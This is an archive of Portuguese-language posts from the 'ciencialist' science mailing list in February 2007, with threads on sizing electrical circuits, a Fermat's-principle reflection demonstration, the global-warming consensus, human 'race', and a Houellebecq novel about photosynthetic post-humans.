TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 20:50

Esses são seus amigos engenheiros elétricos ... viu meus assessores?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Jadyson Jesus da Silva
Para: leobarretos@uol.com.br
Enviada em: sábado, 17 de fevereiro de 2007 21:10
Assunto: Duvidas de circuitos, por favor me ajude


Olá, Prof. Luiz Ferraz Netto

Sou estudante de Eng. Elétrica, estou com um problema e gosteria que o senhor me ajudasse, seja indicando materias ou mesmo escrevendo para mim com a solução para este problema.
Estou estagiando, pediram-me para eu calcular se em determinado local poderia ser colocados mais equipamentos de forma que não sobrecarregasse o circuito e causar constantes queda de tensão.Dessa forma, gostaria de saber como calcular a capacidade de cada circuito eletrico para saber se pode ou não ser instalados mais equipamentos (ou equipamentos com potencia maior).

Desde já agradeço pela atenção,

Jadyson Silva





__________________________________________________
Fale com seus amigos de graça com o novo Yahoo! Messenger
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--------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.441 / Virus Database: 268.18.0/689 - Release Date: 15/02/2007 17:40


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: por favor, me ajude no trabalho! urgentemente
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 21:19

Alguém poderia dar uma olhada nisso?
Meus experimentos sobre o Fermat está em:

http://www.feiradeciencias.com.br/sala09/09_06.asp

Não entendi a 'objeção' do consulente.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Allan Justino" <allan_robinho_@hotmail.com>
Para: <leobarretos@uol.com.br>
Enviada em: segunda-feira, 19 de fevereiro de 2007 13:55
Assunto: por favor, me ajude no trabalho! urgentemente


| Olá, Profº Luis Ferraz Netto.
| Estou no segundo ano de uma escola particular de São José dos Campos e na
| matéria de Física estou estudando as leis da reflexão da luz e o princípio
| de Fermat, além disso, estarei apresentando um trabalho que demonstre essas
| leis no dia 28 de fevereiro.
| Para isso fiz uma pesquisa na internet, e achei o seu site. Fiquei curioso e
| apreensivo e resolvi tentar fazer o que o senhor propôs para demonstrar as
| leis de Fermat(contudo as da reflexão), mas não consegui demonstrar
| corretamente, pois quando eu acho o ponto que o peso fica o mais distante da
| polia ele forma uma linha (raio de incidência), contudo, eu desenho o raio
| refletor. Até ai tudo bem, mas quando eu vou traçar a reta perpendicular (
| normal) ele não traça um triangulo retângulo perfeito como o senhor
| demonstra no site.Na qual o ângulo de AX fica menor do que de BX.
| Gostaria de saber se eu estou com um procedimento correto e se o senhor
| poderia me
| ajudar, dando dicas ou até mesmo mostrando outros modos de demonstrar essas
| leis.
|
| Muito obrigado.
|
| _________________________________________________________________
| O Windows Live Spaces é seu espaço na internet com fotos (500 por mês), blog
| e agora com rede social http://spaces.live.com/
|
|
|
| --
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|
|


SUBJECT: Res: [ciencialist] Re: Fw: Duvidas de circuitos, por favor me ajude
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/02/2007 01:04

[E]> em casa, nenhum aparelho deveria causar queda de tensão
na rede... na indústria é obrigatório fazer instalação especial
de acordo com os equipamentos que serão usados.
(envolve capacitores e outros elementos, não é só somar
as potências... já ouviu falar em correção de fator de potência? pois é....)
num prédio que era residencial e virou comércio
a instalação elétrica tem que ser refeita, por estar
provavelmente subdimensionada (o eletricista coloca
fios para os eletrodomésticos normais de uma residência).
resumindo: prov. terá que "puxar" mais fios do relógio,
colocar mais disjuntores, etc
ps: além da lei de ohm tem que ver o kirchoff...

----- Mensagem original ----
De: rmtakata <roberto.takata@bol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quinta-feira, 22 de Fevereiro de 2007 18:56:07
Assunto: [ciencialist] Re: Fw: Duvidas de circuitos, por favor me ajude













Solução para o problema:



P = U.i

U = R.i



[]s,



Roberto Takata



--- Em ciencialist@ yahoogrupos. com.br, "Luiz Ferraz Netto"

> Esses são seus amigos engenheiros elétricos ... viu meus assessores?

>

> []'

> ============ ========= ======

> Luiz Ferraz Netto [Léo]

> leobarretos@ ...

> http://www.feiradec iencias.com. br/doacoes. asp

> ============ ========= ======

> -----Mensagem Original---- -

> De: Jadyson Jesus da Silva

> Para: leobarretos@ ...

> Enviada em: sábado, 17 de fevereiro de 2007 21:10

> Assunto: Duvidas de circuitos, por favor me ajude

>

>

> Olá, Prof. Luiz Ferraz Netto

>

> Sou estudante de Eng. Elétrica, estou com um problema e gosteria que

o senhor me ajudasse, seja indicando materias ou mesmo escrevendo

para mim com a solução para este problema.

> Estou estagiando, pediram-me para eu calcular se em determinado

local poderia ser colocados mais equipamentos de forma que não

sobrecarregasse o circuito e causar constantes queda de tensão.Dessa

forma, gostaria de saber como calcular a capacidade de cada circuito

eletrico para saber se pode ou não ser instalados mais equipamentos

(ou equipamentos com potencia maior).

>

> Desde já agradeço pela atenção,

>

> Jadyson Silva

>

>

>

>

>

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>

>

>

>

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>

>

> [As partes desta mensagem que não continham texto foram removidas]

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SUBJECT: P/ Manuel - Re: Qual o objetivo da discussão?
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/02/2007 01:42

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu

> Uma alternativa de longo prazo é promover a extinção de outras
> espécies. Com isso os seres humanos não terão mais como interagir
com
> esses organismos - e tenderão a se adaptar evolutivamente (a medida
> não pode ser radical, devendo ser implementada lentamente pois a
> adaptação pode levar muito tempo).
>
> Dessa forma o ser humano poderá ser independente de outras formas
de vida.

Manuel: No romance "A Possibilidade de Uma Ilha", do francês Michel
Houllebecq, os neo-humanos que herdarão a Terra (produtos da
biotecnologia humana) são autotróficos fotossintéticos: ingerem
apenas água com comprimidos contendo substâncias organogênicas,
cápsulas de sais minerais, deixando à energia solar o resto do
trabalho:

<<...Há muito tempo a nutrição animal lhe parecia um sistema
primitivo, de uma rentabilidade energética medíocre, produtor de uma
quantidade de dejetos nitidamente excessiva, dejetos que não apenas
tinham de ser evacuados, mas que, nesse ínterim, provocavam um
desgaste não desprezível do organismo. Há muito tempo pensava em
dotar o novo animal humano desse sistema fotossintético que, por uma
extravagância da evolução, era apanágio dos vegetais. A utilização
direta da energia solar era claramente um sistema mais robusto, mais
performático e mais confiável - como comprova a longevidade
praticamente ilimitada alcançada pelas plantas. Além disso, a
adjunção de capacidades autotróficas à célula humana estava longe de
ser uma operação tão complexa quanto se imaginava; suas equipes já
vinham trabalhando na questão havia algum tempo, e o número de genes
envolvidos verificava-se espantosamente fraco. O ser humano assim
transformado só subsistiria, sem falar na energia solar, por meio da
água e uma pequena quantidade de sais minerais; o aparelho digestivo,
assim como o aparelho excretor, podia desaparecer - os minerais em
excesso seriam facilmente eliminados com a água, por meio do suor.>>
(Michel Houellebecq; A Possibilidade de Uma Ilha; Ed. Record; Rio de
Janeiro; 2006; pp. 368/369)

Os neo-humanos não atravessam o longo percurso da ontogênese; esta é
sumamente abreviada no laboratório, de modo que nascem já adultos,
com a memória (transplantada) dos milionários que, no Século XXI,
haviam financiado as pesquisas dos biotecnólogos da seita new age dos
elohimitas.

Vivem fisicamente isolados em mansões, porém estabelecendo com os
demais, através de uma rede de computadores, uma comunidade virtual.
Contemplativos, analisam a história dos seus ancestrais humanos - e a
existência dos poucos homens que ainda subsistem em estado de
selvageria terminal - "sem desejo nem benevolência", embora alguns
não dispensem a companhia de um animal doméstico, clone do clone do
clone do cachorrinho de estimação dos ricaços cujos genomas eles
herdaram.

Não é o melhor romance do M. Houellebecq: "Extensão do Domínio da
Luta", "Partículas Elementares" e "Plataforma" são, no meu juízo, bem
melhores.

Abraços,
Manuel Bulcão



SUBJECT: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato (era Drauzio Varella - Folha
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 01:46

Jeff:

Não pretendo discutir o assunto: o texto que mandei está nos livros de antropologia.

Entenda que não existe "raça" - todos nós temos o mesmo DNA, a mesma origem: só sofremos mudançasfísicas em função da adaptabilidade ao meio ambiente.

Procure, em bons autores o significado atual de "bizantino".
no Aurélio as definições 4 e 5 são razoáveis.

sds.,

silvio
----- Original Message -----
From: Jefferson
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 21, 2007 4:22 PM
Subject: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato (era Drauzio Varella - Folha


>
>No processo evolutivo- tomemos os humanos como exemplo: o crescimento
>demográfico obrigou os "homo" >primitivos - e esse processo continua até
>hoje - a buscar novos habitats. E eles o fizeram com êxito: os humanos
> >ocuparam quase a totalidade das regiões da Terra - dos Polos aos
> >Trópicos,
>adaptando-se ao meio ambiente e dele >tirando as coiusas necessárias ao seu
>viver.
>

Há, pelo menos, uns 15 mil anos já estávamos no mundo inteiro, chegando na
América do Sul por último... Se a "beríngia" não tivesse se formado
possivelmente não teria 1 único humano vivo nas américas! Mesmo se validada
alguma teoria de migrações de polinésios ou africanos pelos oceanos, ele não
sobreviveram, pois todas as civilizações americanas pré-colombianas são
descendentes de asiáticos... Já pensou? Os europeus chegariam aqui e não
veriam ninguém, ia ser mole demais :-)

>
>Se você comparar um bosquímano australiano e um esquimó verá que inclusive
>os corpos foram alterados para a melhor adaptação às condições ambientais o
>que, errôneamente, alguns intelectuais chamam de raça o que não tem o menor
>fundamento pois todos nós temos uma origem comum: a célula primordial.
>

O mais correto é dizer que tiveram alterações selecionadas pelo o ambiente
do que "foram alterados para...".
Raça é o mesmo que sub-espécie. Os biólogos não consideram raças humanas
porque não há tantas diferenças entre as etnias (termo preferível) para
classificá-las como sub-espécies do homo sapiens (Takata, me corrija se eu
não tiver sendo exato).

>
>Afirmar qualquer coisa, categóricamente, não dando espaço ao contraditório

>apenas criar um ambiente bizantino....
>

Não entendí :-)

[]',s
Jeff.






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: O Ambientalista Crente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/02/2007 01:46

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Então, na minha opinião houve alarmismo sim, em todos esses anos. Só
> agora temos (e realmente temos) algo mais concreto.

Na verdade não houve muitos dados novos no último painel. Tratou-se
mais de um ajuste fino dos ponteiros. A maior parte dos dados estavam
já disponíveis na literatura há mais de uma década. O consenso do IPCC
é mais uma cereja coroando o bolo do q a substância do bolo.

[]s,

Roberto Takata



SUBJECT: P/ Manuel - Re: Qual o objetivo da discussão?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/02/2007 02:03

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Manuel: No romance "A Possibilidade de Uma Ilha", do francês Michel
> Houllebecq, os neo-humanos que herdarão a Terra (produtos da
> biotecnologia humana) são autotróficos fotossintéticos: ingerem
> apenas água com comprimidos contendo substâncias organogênicas,
> cápsulas de sais minerais, deixando à energia solar o resto do
> trabalho:

Bem, se for na base da fotossíntese, os humanos teriam q expandir, e
muito, sua superfície corporal.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 02:09

Olá Homero, apenas alguns comentários meus:


> A idéia da Grande Conspiração, ou mesmo a acusação de alarmismo
> desnecessário
> me parece um "sistema avestruz", finge que não vê, que o problema
> desaparece..:-)

Veja bem, apenas agora, após anos de centros de pesquisa conceituados
atuando sobre o caso chegamos à uma constatação de que há uma "grande
chance" de o homem ter participação relevante no aquecimento global. Então,
na minha opinião houve alarmismo sim, em todos esses anos. Só agora temos (e
realmente temos) algo mais concreto.

Mantenho minha opinião de que no passado, mesmo sem os dados que temos hoje,
devíamos reduzir a emissão dos gases estufa e frear a poluição em geral.
Acho que talvez até essa certeza da "sabedoria popular" de que o homem era o
grande causador disso tudo, que se tem há anos, tenha sido saudável para o
planeta. Mas não consigo concordar em se repetir um "achismo" como se fosse
conhecimento científico, porque isso é "politicamente correto".

> A idéia dos que parecem não ver problemas no aquecimento global, pode ser
> fruto
> da um posicionamento de fundo religioso: se deus criou céu e terra para
> nosso uso,
> Ele não modificaria nada sem avisar ou de forma a nos prejudicar. A idéia
> de imutabilidade
> do mundo (e do universo) é parte importante das crenças religiosas, em
> especial as cristãs.

Não acredito que alguém não veja problemas no aquecimento global. Acho que
alguns não estão certos de que caminhamos para um aquecimento crescente
(estou fora desse grupo), outros não têm certeza se o CO2 é fator
determinante do aquecimento (vemos que é um dos fatores determinantes sim,
pelos estudos recentes), e outros ainda, achando que o CO2 é o vilão, não
têm certeza se o CO2 produzido pelo homem é relevante no processo (estudos
apontam para fortes indícios de que seja relevante, como já discutimos...).

Para mim, não há questões religiosas em pauta. Estudos sérios sobre a
influência da atividade solar nas mudanças de temperaturas foram feitos.
Temos diversas fontes de influência no processo, e é realmente difícil
avaliar precisamente a influência de cada uma. Um dos problemas é que quando
se fala em clima, o número de variáveis envolvidas é tão grande que caímos
em uma situação de caos. A teoria de caos praticamente nasceu de estudos que
o Lorenz fazia com uma simulação computacional para previsão do tempo, que
tinha uma complexidade tão grande, que erros mínimos, de arrendondamento no
início do processo gerava grandes variações nos resultados (a própria
definição de caos). Resumindo, não é apenas crença pessoal e teoria da
conspiração.

Temos estudos hoje que apontam para uma direção. Mas esse conhecimento
recente não justifica o alarmismo, baseado em mentiras, do passado. Devíamos
frear a poluição por diversas razões, incluindo chance de estarmos
contribuindo para o aquecimento global, mas não podíamos anunciar aos quatro
cantos, como foi feito, que o homem era de fato o grande causador do
aquecimento global. Devíamos agir sempre como sempre agiu o IPCC, que mesmo
hoje, com os resultados dos estudos apontando para uma grande chance de
culpa da emissão humana de CO2, não divulgou isto como certeza. A "grande
chance" já deveria ser o suficiente para agirmos. Não devíamos precisar de
uma mentira para justificar uma mobilização neste sentido.

Um abraço,

Ricardo




----- Original Message -----
From: Robespierre B. Gonçalves
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, February 22, 2007 4:40 PM
Subject: [ciencialist] Re: O Ambientalista Crente


Bem Homero,

Leia este então:
http://www.opinionjournal.com/extra/?id=110008220

É o original em inglês de Richard Lindzen, o autor do artigo.

Acho que dessa vez o OdeC não teve nada a ver.
Além de achar que existe muito auê por nada nesse caso de aquecimento
global, eu, particularmente, espero que os mares subam até encobrirem
o Largo da Segunda-Feira aqui no Rio. Áí eu vou passar a ter um
terreno à beira-mar, próximo ao novo Pão de Açucar do Sumaré....

:)

[]s,
Pierre

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
escreveu
>
> Olá Pierre
>
> Eu, pessoalmente, me recuso a perder tempo com leituras do Midia
Sem Máscara (ou Sem Noção, ficaria melhor), do Olavo de Carvalho. O
tempo é curto, a vida passa rápido, e não é possível desperdiçar tudo
isso com esse nível de argumentação..:-) Não sei o que o artigo diz
(e não vou ler, claro), mas sei que não concordo com a maior parte,
com as distorções (sempre existem, nesse site, em todo artigo) e
certamente não concordo com teses conspiracionaistas do tipo O Mundo
é Controlado Por Esquerdistas e Judeus Maléficos, recorrente nos
textos do OdC e dos que ele apoia..:-)
>
> Um abraço.
>
> Homero
>
>
> ----- Original Message -----
> From: Robespierre B. Gonçalves
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, February 22, 2007 4:03 PM
> Subject: [ciencialist] Re: O Ambientalista Crente
>
>
> E o que acham desta matéria?
> Será qe existem cientistas profetizando desastres e ganhando
dinheiro
> com isso?
>
> Se link:
> http://www.midiasemmascara.com.br/artigo.php?sid=5570&language=pt
>
> []s,
> Pierre
>
> --- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@>
> escreveu
> >
> > Na verdade, na situação atual, onde nenhum centro de pesquisa
alega
> ter
> > comprovado que o aquecimento global é causado pela emissão
> atropópica de
> > CO2, faltam-me bases para sustentar qualquer outra opinião.
> >
> > Veja bem, eu não disse que não há aquecimento global, e nem
mesmo
> que ele
> > não é causado pelo homem. Disse que não temos comprovações
> objetivas. Alguns
> > cientistas respeitados levantam outras possibilidades.
> >
> > http://news.bbc.co.uk/1/hi/sci/tech/358953.stm
> >
http://www.news.harvard.edu/gazette/1997/11.06/BrighteningSuni.html
> > http://www.sciencebits.com/CO2orSolar
> >
> > Sei que as matérias acima são apenas matérias, e não artigos,
mas
> lembre-se
> > de que não temos artigos que efetivamente comprovem a questão,
e
> tenham
> > ampla aceitação na comunidade científica (pode me corrigir se
eu
> estiver
> > errado).
> >
> > A opinião: "não sabemos" não pode ser comprovada por artigos.
> Apenas podemos
> > comprovar que sim ou não, neste caso.
> >
> > Grande abraço,
> >
> > Ricardo
> >
> >
> >
> >
> > ----- Original Message -----
> > From: "rmtakata" <roberto.takata@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Wednesday, February 14, 2007 6:38 PM
> > Subject: [ciencialist] Re: O Ambientalista Crente
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@>
> > > Não existe um consenso, até porque, mesmo o IPCC, não chegou
a uma
> > > conclusão inequívoca.
> >
> > Consenso existe entre os especialistas em clima. O q não existe
é
> > unanimidade - os dissidentes q tto ajudaram Bush em
sua "política"
> > ambiental antes do último relatório do IPCC.
> >
> > > Apenas aponta que há uma forte possibilidade da ação do homem
> > > ter efetivamente papel significativo no aquecimento global.
> >
> > Eu tiraria o "apenas". É uma conclusão importantíssima.
> >
> > > 2) Os gases estufa tem papel determinante no aumento da
> temperatura?
> > > Ou fatores outros, como a atividade solar, têm papel
predominante?
> > >
> > > 3) A principal fonte de CO2 são atividades humanas? Ou, pelo
> menos,
> > > a produção humana é predominante no crescimento comprovado de
CO2
> > > atualmente?
> >
> > Há consenso tb para a resposta a essas duas perguntas. Sim, o
CO2 e
> > outros gases-estufa estão ligados ao aquecimento global e, sim,
a
> > parte principal é de origem antropogênica (ou antrópica).
> >
> > > Mas acho que não temos ainda comprovações razoáveis deste
> fenômeno:
> > > o aquecimento global por emissão CO2.
> >
> > Resta saber com base em q vc sustenta essa opinião.
> >
> > []s,
> >
> > Roberto Takata
> >
> >
> >
> > ##### ##### #####
> >
> > Página de apoio
> > http://www.ciencialist.hpg.ig.com.br
> >
> >
> > ##### ##### ##### #####
> > Links do Yahoo! Grupos
> >
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>








SUBJECT: P/ Manuel - Re: Qual o objetivo da discussão?
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/02/2007 03:01

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> > Manuel: No romance "A Possibilidade de Uma Ilha", do francês Michel
> > Houllebecq, os neo-humanos que herdarão a Terra (produtos da
> > biotecnologia humana) são autotróficos fotossintéticos: ingerem
> > apenas água com comprimidos contendo substâncias organogênicas,
> > cápsulas de sais minerais, deixando à energia solar o resto do
> > trabalho:
>
> Bem, se for na base da fotossíntese, os humanos teriam q expandir, e
> muito, sua superfície corporal.

Manuel: Talvez, no futuro, a biotecnologia crie mecanismos
fotossintéticos comparáveis aos naturais assim como o transistor se
compara à válvula. (Não se pode prever o futuro a longo prazo com base
apenas no conhecimento e tecnologia atuais.)

Ok, é improvável; mas o livro de Houellebecq é apenas um romance cujas
especulações literárias não são menos bizarras que certas especulações
matemáticas acerca da realidade física.

[]s
Manuel Bulcão




SUBJECT: P/ Manuel - Re: Qual o objetivo da discussão?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/02/2007 03:40

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Ok, é improvável; mas o livro de Houellebecq é apenas um romance cujas
> especulações literárias não são menos bizarras que certas especulações
> matemáticas acerca da realidade física.

Taí. No futuro, seres humanos irão se alimentar da energia do vácuo.

[]s,

Roberto Takata



SUBJECT: P/ Manuel - Re: Qual o objetivo da discussão?
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/02/2007 04:55

Oi,

Manuel escreva: Ok, é improvável; mas o livro de Houellebecq é apenas
um romance cujas especulações literárias não são menos bizarras que
certas especulações matemáticas acerca da realidade física.

Takata: Taí. No futuro, seres humanos irão se alimentar da energia do
vácuo.

Manuel: Essa sua idéia pode ser aproveitada em algum episódio do
seriado Futurama.

Considerando que de flutuações do vácuo pode surgir qualquer coisa,
inclusive uma paelha à valenciana... converter uma paelha virtual
numa paelha real é apenas uma questão de técnica, problema que o dr.
Emmett L. Brown (o cientista do filme 'De Volta Para o futuro') pode
muito bem resolver.

A boa ficção científica, não importa se comédia, drama ou aventura,
trabalha com as hipóteses de fronteira da Ciência.

Você já assistiu ao clássico "Solaris", de Tarkovski?

Abraços,
Manuel Bulcão



SUBJECT: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato (era Drauzio Varella - Folha
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 10:28

Fala Sílvio!

>
>Entenda que não existe "raça" - todos nós temos o mesmo DNA, a mesma
>origem: só sofremos mudançasfísicas em >função da adaptabilidade ao meio
>ambiente.
>

Eu entendo raça como sinônimo de sub-espécie. Só que as diferenças entre os
humanos são tão poucas (poucos genes) que talvez não seja correto
classificá-las em raças.

>
>Procure, em bons autores o significado atual de "bizantino".
>no Aurélio as definições 4 e 5 são razoáveis.
>

Bom, fiquei sem entender, pois não tenho um dicionário na mão :-) Com
certeza refere-se a alguma característica do império bizantino, mas não
saquei.

[]'s,
Jeff.



SUBJECT: Re: [ciencialist] Re: Qual o objetivo da discussão?
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 12:31

Bruna:

O homem não pode ser livre pois é apenas um componente de um sistema complexo: a humanidade. E essa humanidade, hoje, é totalmente fracionada impondo ao homem uma serie de coerções tanto intelectuais (religiões) como políticas (formas de governo) que não lhe é permidido exercer o mito da liberdade.
Ser livre é coisa para uso pessoal de poetas...
E mesmo definir o que é ser "livre" é trabalho pesado pois temos uma limitação absoluta: o corpo.... E como sem ele, não existimos, temos de deixar essa utopia para as calendas gregas....

sds.,

silvio
----- Original Message -----
From: Bruna Carolina Ribas
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 21, 2007 4:40 PM
Subject: Re: [ciencialist] Re: Qual o objetivo da discussão?


O intento é sermos livres,
a começar por não dependermos dos animais não-humanos.

Silvio Cordeiro <scordeiroes@superig.com.br> escreveu: Mestre:

Tomo a liberdade de dar minha opinião:
Se as vacas fossem minhas, eu as salvaria primeiro.
O defunto cremado serviria para adubo.
Se não fosse proprietário nem pudesse roubar as vacas, perguntaria ao cidadão em quem ele votou. E tomaria uma decisão.

Aproveitando o ensejo, gostaria de entrar para a falange dos adoradores da deusa Sensatez.
A gran sacerdotiza Bruna poderia detalhar o escopo?

grato,

silvio

sds.,
silvio.
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 6:28 PM
Subject: [ciencialist] Re: Qual o objetivo da discussão?

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> O meu objetivo, Manu, é converter a todos para minha religião chamada
> Sensatez.

Bom senso é um dos bens mais bem distribuídos do mundo: todo mundo acha
que tem.

Continua a pergunta: 200 vacas ou 1 ser humano - quem vc salvaria
prioritariamente em um incêndio?

[]s,

Roberto Takata

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SUBJECT: Re: [ciencialist] Re: Email RicardoSoares
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 12:40

Oi Victor,

Basta enviar o texto ... e permita-me a liberdade de colocá-lo em conformidade com a juventude sedenta de saber. Uma vez 'alterado' o texto, ele voltará para vc dar o "publique-se" final. Essa liberdade de 'alteração' permite-me, por vezes, incluir adendos/detalhes/curiosidades que aliviam o peso de leitura do texto árido.
O Jocax (que tem texto no meu site) sempre me permitiu essa 'fuçada' científica em seus textos --- e sempre foi aprovada, como denota os e-mails recebidos. Não que eu seja o deus da didática redacional científica; apenas tenho uma ligeira experiência disso. Nesse campo, 'uma ligeira experiência' já permite o delírio: ... na terra de cegos ... --- infelizmente!
Agora, se é para deixar o texto com todo o sabor da retórica, com termos nunca dantes navegados, use o Bulcão ... é tiro à queima-roupa!

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Victor" <jvoneto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 21 de fevereiro de 2007 09:52
Assunto: Fw: [ciencialist] Re: Email RicardoSoares



Caro Léo,

Não sei por quais cargas d´água apenas hoje pude ler este seu e-mail, de um longínquo 1/10/2006.
É bem verdade que há um sem número de e-mails, em preto, ainda, que não consiguí ler, por falta de tempo. Este e-mail, contudo, estava com a indicação de que eu o havia lido!... Só que não lembro! Será que tem coisa chegando? Bem, de qualquer maneira, peço-lhes desculpas por não haver retornado ainda, agradecendo, envaidecido, a disponibilização de seu execelente site. Seria uma honra, mas teria que ter disciplinado o suficiente para não me ater a um único trabalho, se o objetivo é informar. Além disso, teria que burilar mais a maneira de escrever e informar. Num site como o seu, o linguajar precisa ser mais comportado, mais formal, do que o que uso nestas nossas conversas de botequim virtual. Mas, de futuro, se me sentir suficientemente corajoso, poderei propor algum trabalho, para publicação no O Imperdível!. Lá, já tem tanta coisa boa e de tanta utilidade!

Sds,
Victor.


----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, October 01, 2006 8:41 PM
Subject: Re: [ciencialist] Re: Email RicardoSoares


Ponho o Feira de Ciências à disposição!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 1 de outubro de 2006 16:02
Assunto: [ciencialist] Re: Email RicardoSoares


Olá Victor,

Estive acompanhando as suas mensagens (e as dos demais),
principalmente aquelas sobre a equação de Poisson...

Você escreve muito bem sobre estes assuntos, já pensou em colocar
estas "dicas" em algum site? Algo assim nada formal, mais para
esclarecer sobre o assunto mesmo... Acho que seria uma boa ideia...

Quanto ao meu e-mail, pode escrever em ricardosoaresvieira@gmail.com ,

Abraço

Ricardo.






--- Em ciencialist@yahoogrupos.com.br, "jvictor" <jvoneto@u...> escreveu
>
> Olá, Ricardo Soares.
>
> Perdí um e-mail, com um artigo seu anexado, e, com isso, perdí também
> seu e-mail pessoal.
>
> Preciso dar um retorno sobre, mas estou sem seu endereço eletrônico
pessoal.
>
> Por isso, os sinais de fumaça, para lhe comunicar.
>
> Grato.
>
> Victor.
>






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SUBJECT: Re: [ciencialist] Ciencialist com site .com!
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/02/2007 12:54

Sim. Tenho toda a traducao do visual da pagina, soh nao sei como
ativar. Jah pedi ajuda pro Kentaro Mori. Pelo que vi ele jah utilizou
esse modelo em portugues (tema do Wordpress).

Eh... eu sei que eh Luiz com Z, nao sei pq escrevi com S. :-/
Talvez alguma formatacao no meu cerebro, com um novo sistema
operacional. :-)

Neste findi vou continuar as alteracoes.


Ateh
Luis Brudna


On 2/23/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
> No setor EQUIPE
>
> Luís Brudna ---------- com 's' e com acento no 'i'.
>
> Luiz Ferraz Netto --- com 'z' e sem acento no 'i'.
>
> Roberto M. Takata --- com M. (de significado indeterminado, provavelmente, Memoriosuki)
>
> Se a página fosse na língua pátria (digamos, a nossa) eu me sentiria mais confortável e esperançoso. Os norte-americanos são atualmente "os mais fortes" e, de acordo com a seleção natural darwiniana, serão vencidos pelos mais fracos e oprimidos, que sobreviverão. Fiquemos do lado dos mais fracos e, se necessário, ao extremo, sejamos 'corintianos', afastando-nos dos mais fortes 'sãopaulinos' ou 'palmeirenses'.
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================


SUBJECT: Re: [ciencialist] Re: Qual o objetivo da discussão?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 13:03

Minha tia chama-se FLORA. Como a classifico?

Atualmente tenho preferido "tia" mas, após as discussões em andamento, já certa dúvida paira no ar.
No baile das thênias saginatas e sollium ....a música de fundo --- Lá se vão meus anéis ..... diz o refrão ...

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Manuel Bulcão" <manuelbulcao@uol.com.br>
